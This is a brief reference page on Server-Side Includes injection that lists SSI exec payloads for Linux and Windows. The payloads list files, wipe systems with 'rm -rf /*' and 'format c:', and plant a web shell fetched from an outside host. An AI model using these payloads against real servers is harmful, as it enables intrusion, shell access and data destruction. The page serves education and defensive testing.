Server-Side Includes (SSI) Injection

This is an Attack. To view all attacks, please see the Attack Category page.

Description

SSI can be injected in to input fields where code is echo'd out and attackers are able to execute commands.

Examples

Linux
List Files - < !--#exec cmd="ls" -->
Remove All - < !--#exec cmd="rm -rf /*" -->
Navigate Directories - < !--#exec cmd="cd /root/dir/" -->
Plant Shell - < !--#exec cmd="wget http://mysite.com/shell.txt | rename shell.txt shell.php" -->

Windows
List Files - < !--#exec cmd="dir" -->
Remove All - < !--#exec cmd="format c:" -->
Navigate Directories - < !--#exec cmd="cd C:\admin\dir" -->

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